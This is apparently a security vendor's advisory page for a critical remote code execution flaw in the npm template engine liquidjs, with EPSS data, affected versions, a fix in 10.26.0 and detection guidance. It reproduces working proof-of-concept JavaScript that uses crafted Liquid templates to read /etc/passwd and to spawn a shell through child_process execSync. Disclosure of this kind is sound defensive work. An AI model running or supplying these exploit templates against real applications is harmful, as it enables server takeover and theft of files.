GHSA-gf2q-c269-pqgc
CRITICALGHSA-gf2q-c269-pqgc is a critical-severity (CVSS 10) Code Injection vulnerability in liquidjs. O3 Security confirms whether GHSA-gf2q-c269-pqgc is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
LiquidJS is Vulnerable to Remote Code Execution
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-gf2q-c269-pqgc.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-gf2q-c269-pqgc plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 363,908 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
liquidjsnpmDescription
Summary
It is possible to execute arbitrary code with crafted templates
Details
<details> <summary> `1|valueOf` -> `this` when evaluating the filter </summary>{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}
${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}
{{m == "/etc/passwd"}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
import { Liquid } from "liquidjs";
const engine = new Liquid();
engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}
{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
const filepath = yield this.loader.lookup(file, type, sync, currentFile)
return this.parse(yield this.readFile(!!sync, filepath), filepath)
}
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}
${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}
${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}
{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}
{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}
{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}
{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}
{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
Impact
What kind of vulnerability is it? Who is impacted? Remote Code Execution.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | liquidjs | all versions | 10.26.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for liquidjs. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update liquidjs to 10.26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gf2q-c269-pqgc is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-gf2q-c269-pqgc is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-gf2q-c269-pqgc. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-gf2q-c269-pqgc in your dependencies?
O3 detects GHSA-gf2q-c269-pqgc across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.